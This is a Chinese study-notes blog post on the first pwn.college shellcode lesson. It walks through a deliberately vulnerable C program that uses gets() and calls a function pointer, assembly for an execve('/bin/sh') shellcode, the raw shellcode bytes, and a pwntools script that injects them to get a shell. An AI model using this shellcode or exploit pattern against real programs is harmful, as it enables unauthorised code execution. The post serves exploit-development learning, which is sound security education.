PwnCollege shellcode第一章

15 篇文章 0 订阅
11 篇文章 0 订阅

课程https://www.youtube.com/watch?v=715v_-YnpT8

漏洞程序 hello.c

void bye1(){ puts("Goodbye!"); }
void bye2(){ puts("Farewell!"); }
void hello(char * name ,void (* bye_func)()){
 	printf("Hello , %s\n",name);
	bye_func();
}
int main(int argc,char **argv){
	char name[1024];
	gets(name);
	srand(time(0));
	if(rand()%2) hello(bye1,name);
 	else hello(name,bye2);
}

GCC编译,1/2的概率程序崩溃

shellcode.s

.global _start           #.global定义一个全局符号 _start 为程序的入口
_start:                  # _start: 标志程序入口
.intel_syntax noprefix   #intel代码格式
  	mov rax, 59          #系统调用号  
	lea rdi, [rip+binsh] #binsh偏移
	mov rsi, 0
	mov rdx, 0
	syscall
binsh:                  #binsh标号
	.string "/bin/sh"   #.string 标志string类型

编译运行

objdump 看一下section

 其实到这里对于shellcode已经是可以使用了。

from pwn import *
context.log_level = 'debug'
p=process('./hello')
payload="\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x10\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00"
p.sendline(payload)
p.interactive()

 视频中演示了另一种方法,利用objcpoy 将代码段部分转移到shellcode-raw文件中

 (hd   hexdump)用十六进制把二进制文件打印出来

 利用管道符(这行指令还没太看明白,但是用的应该不多,不去深究了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值